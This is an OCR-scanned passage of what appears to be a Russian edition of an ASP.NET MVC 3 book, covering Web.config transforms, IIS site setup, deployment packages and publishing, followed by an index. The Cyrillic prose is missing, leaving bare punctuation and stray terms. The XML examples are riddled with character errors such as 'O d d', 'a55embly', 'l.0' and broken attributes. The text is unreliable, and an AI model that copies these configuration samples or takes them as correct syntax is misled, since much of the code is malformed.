. 23.3. W e b . c o n f i g
Debug () Release
(), Visual Studio, . 23.4.
. 23.4.
,
, W e b . .c o n f i g
W e b .config. 23.3
. W e b .R e l e a s e .c o n f ig,
Sp o r t s S t o r e .
23.
643
23.3. W eb. c o n f ig
<?xml version="l.0"?>
C o n f i g u r a t i o n xmlns:xdt="http://schemas.microsoft.com/XML-DocumentTransform">
<connectionStrings>
O d d name="SportsStoreEntities"
connectionString="metadata=res://*/Concrete.ORM.SportsStore.csdl|
r e s ://*/Concrete.O R M .SportsStore.ssdl|
r e s ://*/ C o n c r e t e . O R M . S p o r t s S t o r e .m s i ; p r o v i d e r = S y s t e m . D a t a .SqlClient;
p r o v i d e r c o n n e c t i o n s t r i n g - S q u o t ; D a t a S o u r c e .\SQLEXPRESS;
Initial C a t a i o g = S p o r t s S t o r e ;P e r s i s t S e c u r i t y I n f o = T r u e ;U s e r I D adam;
Password=adam;MuitipleActiveResultSets=True""
providerName="System.Data.EntityClient"
xdt:Transform="SetAttributes" x d t :Locator="Match(name)"/>
</connectionStrings>
<system.web>
<compiiation x d t :Transform="RemoveAttributes(debug)" />
</system.web>
</configuration>
.
T i t a n .
,
W i n - 2 0 0 8 R 2 . W e b . c o n f i g
.
, Entity Framework ,
T ita n .
! ,
a d a m . , ,
, .
debug
( ).
,
W e b .config, , 23.3.
W e b . c o n f i g .
c o n f i g u r a t i o n ,
, .
c o n n e c t i o n S t r i n g s ( c o n f i g u r a t i o n ) ,
s y s t e m . w e b ( c o n f i g u r a t i o n ) . ,
,
23.4.
644
2 3 .4 .
<?xml v e r s i o n = " l . 0 " ? >
c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m /X M L - D o c u m e n t - T r a n s f o r m ">
<connectionStrings>
... ...
< /connectionStrings>
< s y s t e m . web>
. . .
...
< /s y s te m .w e b >
</configuration>
,
, . ,
, ,
:
c o m p i l a t i o n x d t :Transform="RemoveAttributes(debug)" />
' Trans f o r m ,
compilation W e b .config.
RemoveAttributes debug. ,
debug compilation. W e b .config
C o m p i l a t i o n debug="true" targetFramework="4.0">
Release,
c o m p i l a t i o n targetFramework="4.0">
. 23.1.
23.1. W eb. c o n f ig
insert
W e b .c o n fig
InsertBefore
insertAfter
Remove
RemoveAll
RemoveAttributes
SetAttributes
Replace
.
,
23.5. ,
.
. Web. config,
.
23.
645
2 3 .5 . W e b . c o n f i g
<?xml version="l."?>
<configuration>
<connectionStrings>
<add name="SportsStoreEntities"
connectionString="provider connection string=
Squot;Data Source=TITAN\SQLEXPRESS; User ID=adam; Password=adam; Squot;"
providerName="System.Data.EntityClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetFramework="4.0">
<assemblies>
<add assembly="System.Web.Abstractions, Version=4.0.0.0, Culture=neutral" />
<add assembly="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</assemblies>
</compilation>
</system.web>
</configuration>
In s e r t . 23.6.
23.6.
<?xml v e r s i o n = " l . 0"?>
C c o n fig u ra tio n
<add name="NewConnection"
c o n n e c t io n S t r in g = " M y C o n n e c t io n S t r in g "
23.7.
23.7.
<?xml version="l.0"?>
<configuration>
connectionstrings>
<add name="SportsStoreEntities"
connectionString="provider connection string=
"Data Source=xTITAN\SQLEXPRESS;User ID=adam;Password=adam;Squot; "
providerName="System.Data.EntityClient" />
<add name="NewConnection" connectionString="MyConnectionString"/>
< / c o n n e c tio n S trin g s >
<system.web>
compilation debug="true" targetFramework="4.0">
<as5embiies>
<add a55embly-"System.Web.Abstractions, Version=4.0 .0 .0, Culture=neutral" />
<add assembiy="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</asseirblies>
</com pilation>
</system.web>
</configuration>
646
23.7,
W e b . c o n f i g . , ,
.
I n s e r t B e f o r e I n s e r t A f t e r , 23.8.
23.8. In s e r t B e f o r e I n s e r t A f t e r
<?xmi v e r s i o n = " l . 0 "? >
c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . co m /X M L - D o c u m ent- T r an s fo rm ">
< connectionStrings>
I n s e r t B e f o r e I n s e r t A f t e r ,
W e b . c o n f i g , .
X P a t h ,
W e b . c o n f i g :
/c o n fig u r atio n /c o n n e ctio n S trin g s /a d d
a d d ,
c o n f i g u r a t i o n
. , ,
:
connectionStrings,
/ c o n f ig u r a t io n /c o n n e c t io n S t r in g s /a d d [ @ n a m e = 'N e w C o n n e c t io n ']
a d d ,
n e w C o n n e c t i o n . 23.9
W e b . c o n f i g .
23.9. I n s e r t B e f o r e I n s e r t A f t e r
<?xml v e r s i o n = " l . 0 " ? >
< configuration>
<connectionStrings>
string=
/>
d ebug="true"
<assem blies>
<add a s s e m b l y = " S y s t e m . W e b . A b s t r a c t i o n s ,
<add a s s e m b l y = "S y s t e m .W e b .H e l p e r s ,
< /assem blies>
< /com pilation>
< / sy stem .w e b >
< /co nfigu ratio n>
Version=4.0 . 0 . 0 ,
Version=l.0 .0 .0 ,
Culture=neutral"
Culture=neutral"
/>
/>
23.
647
Remove,
23.10.
23.10. Remove
<?xml version="l.0"?>
configuration xmlns:xdt"http://schemas.microsoft.com/XML-Document-Transform">
system.web>
<compilation>
<assem blies>
O d d xdt:Transform ="Rem ove"/>
</assem blies>
</compilation>
</system.web>
</configuration>
Remove add
a ssem b ly. .
23.11.
23.11. Remove
<?xml v e r s i o n = " l . 0"?>
c c o n fig u ra tio n >
<con n ection S trin gs>
o d d n a m e= "S p o rts S to reE n tities"
c o n n e c tio n S trin g = "p ro v id e r connection s trin g =
squot;D ata Source=TlTAN\SQLEXPRESS; User lD=adam;Password=adam;squot;"
p rovid erN am e= "S ystem .D ata .E n tityC lien t" />
</con n ection S trin gs>
s y s te m . web>
c o m p ila tio n d eb u g="tru e" targetFram ew ork="4, 0">
assem b lies>
O d d assembly="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</assem blies>
</com pilation>
/ system .web>
</c o n fig u ra tio n >
Rem oveAll, .
S e t A t t r ib u t e s R em o v eA ttrib u te s
Web. c o n fig , 23.12.
23.12.
<?1 v e r s i o n - " l . 0"?>
c o n fig u ra tio n xmlns: x d t - " http://schem as.m icrosoft. com/XML-Document-Transform">
c o n n e c tio n S trin g s >
648
<compilation x d t :Transform="RemoveAttributes(targetFramework)"
/>
,
targetF ra m ew ork c o m p ila tio n .
23.13 .
23.13.
<?xml v e r s i o n = " l . 0 " ? >
<configuration>
< connectionStrings>
. O d d
connectionString="MyNewConnection"
providerName="System.Data.EntityClient" />
< /connectionStrings>
< s y s t e m . web>
<compilation debug="true">
<assem blies>
O dd
O d d
a s s e m b ly = "S y s te m .W e b .H e lp e r s ,
Version=4.0 .0 .0 ,
Version=l.0 .0 .0 ,
Culture=neutral"
Culture=neutral"
/>
/>
</compilation>
< /sy stem .w e b>
</configuration>
R e p l a c e
23.14.
W e b . config,
23.14.
<?xml v e r s i o n = " l . 0 " ? >
< c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . com /XM L- Docum ent- Transform ">
<connectionstrings x d t :Transform=Replace">
O d d name="MyFirstConnection" connectionString="MyConnectionl"/>
<add name="MySecondConneetion" connectionString="MyConnection2"/>
O d d name="MyThirdConnection" connectionString="MyConnection2"/>
< / connectionstrings>
< /configuration
W e b . c o n f i g c o n n e c t i o n S t r i n g s
, .
W e b . c o n f i g 23.15.
23.
649
23.15.
<?xml version="l.0"?>
<configuration>
<connectionStrings>
<add name="MyFirstConnection"
connectionString="MYConnectionl"/>
<assemblies>
<add assembly=''System. Web .Abstractions, Version=4.0.0.0, Culture=neutrai" />
<add assembly="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</assemblies>
</compilation>
< / s y s t e m . web>
</configuration>
Locator
L o c a t o r
. 23.16, L o c a t o r .
23.16.
<?xml v e r s i o n = " l . 0"?>
< c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m /XM L- Docum ent- Transform ">
< s y s t e m . web>
com pilation d ebu g="tru e"
<assem blies>
<add x d t : T r a n s fo r m = "R e m o v e "/>
, add a s s e m b l i e s
. ,
Web. c o n f i g Remove
. R e m o v e A ll .
( ) ,
, L o c a t o r . 23.17
L o c a t o r .
23.17. L o c a to r
<?xml v e r s i o n = " l . 0"?>
c o o n f ig u r a t io n xm lng: xd t= "h t t p : / / s c h e m a s .m ic r o s o ft. com/XML-Document-Transform">
< sy ste m . web>
C o m p i l a t i o n debug-"true" targetFramework="4.0">
650
<add x d t :Transform="Remove"
xdt:Locator="Condition(contains(@assembly,'Helpers'))" />
< / a s s e m b li e s >
< /c o m pilatio n >
/system .w eb >
/configuration
, Locator,
, assembly ,
Helpers.
. / configuration/compilation/
a s s e m b l i e s / a d d assembly. Locator
, . 23.2.
23.2. L o c a to r
Condition
x d t : Locator=
"C onditio n
XPath
( ) "
M atch
x d t : Locator=
" M a t c h (
) "
X P a t h
X P a t h
,
,
C o n d itio n
XPath, co n ta in s s t a r t s - w it h . ,
o r and ( 23.18).
. XPath,
, , w w w .w3 .org/TR/
xpath.
23.
651
XPath XPath,
. 23.19 ,
23.18.
23.19. XPath
<?xml v e r s i o n = " l . 0 " ? >
< c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m /X M L- Docum ent- Transform ">
<connectionStrings>
O d d
"X P ath (/c o n figu ratio n /c o n n ec tio n Strin gs/a dd [sta rts- w ith (@ n a m e,
contains(0providerN am e,
' S p o r t s ')
and
</connectionStrings>
< /co nfigu ratio n>
,
M a t c h , 23.20.
23.20. L o c a to r M a tc h
<?xml v e r s i o n = " l . 0 " ? >
< c o n fig u ra tio n
<connectionStrings>
O d d
x d t : T r a n s f o r m " S e t A t t r i b u t e s (c o n n e c t i o n S t r i n g ) "
connectionString="M yConnection"
x d t :L o c a to r= "M a tc h (n a m e , p ro v id e rN a m e )"
n a m e = "S p o rts S to re E n titie s "
p ro v id e rN a m e = "S y s te m . D a ta .E n t i t y C l i e n t "/>
M a t c h
W e b . c o n f i g ,
, , .
n a m e p r o v i d e r N a m e ,
, / c o n f i g u r a t i o n /
c o n n e c t i o n S t r i n g s / a d d , , S p o r t s S t o r e E n t i t i e s ,
p r o v i d e r N a m e , S y s t e m . D a t a . E n t i t y C l i e n t .
,
.
/
.
! ,
. ,
, .
652
R e l e a s e
, . 23.4,
(Configuration Manager),
Build ().
Properties ().
. Package/Publish Wob (/
) Include all databases configured in Package/
Publish SQL tab ( , /
SQL), . 23.5.
. 23.5.
Package/P ublish SQL (/ SQL).
, .
Import from Web.config ( W e b .config)
, . 23.6.
23.
653
W in ~ 2 0 0 8 r 2 .
, Visual Studio Web . c o n f i g ,
, . 23.7.
. 23.7.
,
.
, ,
.
.
Bpw ra . ; / t i - /.
'?, ..
" W e b . c o n f i g
.
, .
, , . 23.8.
. 23.8.
. SQL-,
,
. , , ,
, (,
), .
, ,
, .
,
, ..
,
<Ctrl+S> Save Selected Items ( )
File ().
654
III. ASP.NET 3
IIS
IIS , Windows.
2 , IIS 7.5 ,
Windows Server 2008 R2.
IIS.
-
IIS -.
-
, IIS
, .
HTTP- -, IIS
(binding).
IP-, TCP HTTP
- (. 23.9). .
. 23.9. -
IIS 7
- .
IIS ,
- (. 23.10).
. 23.10. , IIS
,
.
ASP.NET, -.
23.
655
IIS
-, .
,
{ ),
, ,
.. - ( ,
)
. , -
.
- , IP-
-,
. ,
-
, .
( , , -
80).
.
IP- ( IP-
,
).
- .
: ,
-. -
.
-.
HS,
MVC-. IIS 7, -
.
1. IIS StartoAdministrative Tools (^).
2. , ,
Sites (). - (, D e f a u l t
W e b s i t e ) ,
.
3. -, Sites
Add Web Site ( -).
Site name ( ).
,
S p ortsS to re.
4. , .
C :\ S p o rtsS tore.
656
5. . IP-
, Binding () .
.
. 23.11 Add Web Site ( -),
SportsStore.
. 23.11. -
SportStore
?
. IIS
: \Inetpub\wwwroot\ - Default Web
Site, .
, (,
:\ w e b s i t e s \ e x a m p l e .\).
, .
-
-, IIS,
. 23.12.
. 2 3 .1 2 .
23.
657
, S p o r t s S t o r e ,
, -,
IIS. , -,
.
, , Yes ().
IIS ,
.NET 2. , Application Pools (
) IIS (IIS Manager),
S p o r t s S t o r e Basic Settings ( ). .NET
Framework version ( .NET F ra m e w o rk ) 4,
. 23.13. . .
. 2 3 .1 3 .
.NET 4
MVC IIS. ,
.
! , ,
. ,
. 23.4, ,
Build ().
.
:
.NET ( /bin);
(W e b . c o n fig
G lo b a l. asax);
(* . cshtm l);
(, CSS JavaScript).
. ,
, , , b in .
,
.
658
III. ASP.NET 3
C#
(*
. cs,
G lo b a l. a s a x . cs
);
(* . s i n ,
, (, . s v n
Subversion , h g . g i t
Mercurial Git).
* . suo, * . c sp ro j
* .csproj
. u s e r );
\ o bj:
,
1IS. C : \ S p o r t S t o r e . . 2 3 .1 4
. ,
IIS - S p o r t s S t o r e , Content ()
.
. 2 3 .1 4 . S p o r t s S t o r e
,
. W e b . c o n f i g
, , ..
.
S p o r t s S t o r e ,
. ,
W e b . c o n f i g ,
,
. .
,
.
, ,
.
,
. U R L , . 23 .1 5 .
,
.
.
(deployment package) zip-,
. Visual Studio ,
,
IIS.
23.
659
. 2 3 .1 5 .
W e b .c o n fig
,
.
! Web Deployment:
. 2.
, Projects Build Deployment Package (^
). Visual Studio zip-,
, ,
, . zip-
obj\R elease\Package\<H M ^ > . z i p
Visual Studio o b j \ R e le a s e \ P a c k a g e \ S p o rts S to re .W ebUI. z ip .
. , ,
Package/Publish W eb (/ ) .
, Visual Studio,
, .
I1S - S p o r ts S to re . Import
Application ( ) , . 23.16.
(Im port Application Package).
zip- Next ().
,
. 23.17.
,
. ,
, . , ,
, . (
, 7.)
Next.
(. 23.18).
III. ASP.NET 3
. 23.16.
. 2 3 .1 7 . ,
. 2 3 .1 8 .
23.
661
A p p l i c a t i o n , - .
,
, . -
,
.
,
.
,
Web . c o n fig ( ,
Web. con fig). Next,
-.
.
,
. 23.19.
. 23.19.
Finish (), . (
) .
, ,
. (one- click pub
lishing), Visual Studio.
! Web Deployment,
. 2.
Publish ()
Publish < Build ().
Publish Web ( ), . 23.20.
Visual Studio ,
Web Deploy ( ),
Publish method ( ).
Service URL (URL )
https ://< > :8172/MsDeploy.axd
662
. 23.20. Publish W eb
, .
, HTTPS.
HTTP. Site/application (/) ,
. SportsStore, ..
-.
Mark as IIS application on destination ( IIS ) Allow untrusted certificate (
),
. 2, Web
Deploy
.
.
Publish ().
, ,
(
).
, .
,
, .
.
,
,
.
L
LINQ (Language Integrated Query), 30
LINQ to Objects. 113
M
Model-view-controller (MVC), 20; 27; 69
Model-view-presenter (MVP), 75
Model-view-view model (M W M ), 75
MonoRail, 32
Moq, 125; 144
MVC Framework, 37
, 611
Cookie-Ha6op, 597
Cross-Site Request Forgery (CSRF), 607
D
Data access layer (DAL), 74
Dependency injection (DI), 82; 154
Domain-driven development (DDD), 76
N
Ninject, 125; 126
Node.js, 26
NUnit, 125
E
Entity Framework (EF), 162
F
Firebug. 599
H
HTTP. 597
I
IIS, 654
IIS 7.5, 39
, 39
IIS Express, 37
Inversion of control (IoC), 82
J
JavaScript Objcct Notation (JSON), 356; 560
JQuery. 567: 574
, 575
, 587
, 577; 578
JQuery IntelliSense, 571
R
Razor (Razor View Engine), 33; 95; 113; 417;
423:601
REST (Representational State Transfer), 23
Ruby on Rails, 25
s
Secure Sockets Layer (SSL), 37; 256
Sinatra, 25
SQL Server 2008 R2 Management Studio
Express, 38
T
Task Parallel Library (TPL), 410
Test-driven development (TDD), 24: 88
u
URL, 285
URL, 309
URL, 297
URL, 287
URL, 286
664
V
Visual Studio, 34; 273
, 34
Visual Studio 2 0 1 0 Ultimate Edition, 35
, 35
Visual Web Developer Express, 34
w
Web Developer Toolbar, 599
Web Platform Installer (WebPI). 36
Web site administration tool (WAT), 624
Windows Presentation Foundation (WPF), 75
, 388; 45 7
, 388
3
X
X S S , 431- 433:600
A
, 250; 613
, 78
, 73
--
(MVC), 27
- ( M W M ) , 75
--
(MVP). 75
X S S , 43 1- 433:600
(CSRF), 60 7
, 365
, 522
, 613
Windows, 613
, 615
, 611
Moq, 144
Ninject, 126
WebPI, 36
IActionFilter, 37 6
IActionlnvoker, 397
IAuthorizationFilter, 367
LAuthProvider, 251
ICalculator, 425
IClientValidatable, 539
IController, 331; 40 6
IControllerActivator, 397
IControllerFactory, 391; 40 6
IExceptionFilter, 372
IMembersRepository, 83
IOrderProcessor, 21 6
IQueryable<T>, 113
IResultFilter, 378
IRouteConstraint, 305
IRouteHandler, 322
IValidatableObject, 524
IValueCalculator, 126; 134
IView, 41 9
IViewEngine, 418; 42 0
smart UI. 72
-, 414
, 105
, 65 4
AccountController, 253
ActionExecutedContext, 378
ActionExecutingContext, 376
ActionFilterAttribute, 380
ActionMethodSelectorAttribute , 401
AdminAreaRegistration, 324
AdminController, 84
AjaxOptions, 549; 558
Appointment, 508; 545
AppointmentController. 508; 546
AreaRegistrationContext, 325;
AuthorizationContext, 369
AuthorizeAttribute, 370
BasicController, 332
Chart, 448
Controller, 333
ControllerContext, 369
CustomControllerFkctory, 391
DefaultControllerFactory, 393
DefaultModelBinder, 517
EfDbContext, 166
EmailAddressAttribute,
539
*
EmailOrderProcessor, 217;
ExceptionContext, 373
FakeRepository, 138; 145
FormsAuthProvider, 251
GuestResponse, 54
HandleErrorAttribute, 374
HomeController, 47
JsonResult, 356
LegacyController, 318
LegacyRoute, 19
LogOnViewMouel; 252
ModelMetadata, 482; 525
ModelMetadataProvider, 483
MustBelYueAttribute, 541
MvcHtmlString. 432; 601
NinjectControllerFactory, 155
PagingHelpers, 170
Paginglnfo. 170
PasswordResetHelper, 82
RedirectResult, 340; 341
RouteCollection, 287; 308
RssActionResult, 361
ShippingDetails, 212
ShoppingCart, 99; 343
TagBuilder, 436; 437
Templatelnfo. 480
ViewData, 349
ViewDataDictionaiy, 349
ViewResult, 343
WebGrid, 444
WebMail, 450
, 472
, 472
665
, 123
, 428
, 428
, 46; 70; 115
CRUD, 226
, 408; 410
, 300
, 409
Controller, 332
IController, 331
, 340
, 302; 390
, 388
-, 105
(route), 285
, 302
. 304
, 298
, 287
, 293
, 48; 283
, 306
jQ u eiy
, 582
, 216;
459
Firebug, 599
Web Developer Toolbar, 599
666
cookie, 597
, 498
Visual Studio, 273
SSL. 256
,620
(alias). 294
, 294
, 655
, 408
, 654
, 639
bin, 641
, 658
, 657
, 657
. 659
(section), 450
, 453
, 450
,620
, 132
, 294
, 575
, 576
, 400
I1S, 654
jQuery, 587
(), 541
Ajax, 555
URL, 285
, 599
, 93
, 86; 151; 220; 228; 240; 247;
255; 261
(breakpoint), 274
.cshtml, 427
Global.asax.cs, 284
Index.cshtml, 50
_Layout.cshtml, 123
StaticContent.html, 306
Web.config, 625
, 364; 577
, 367
, 386
, 382
, 373
, 578
,579
. 57; 437
, 620
, 624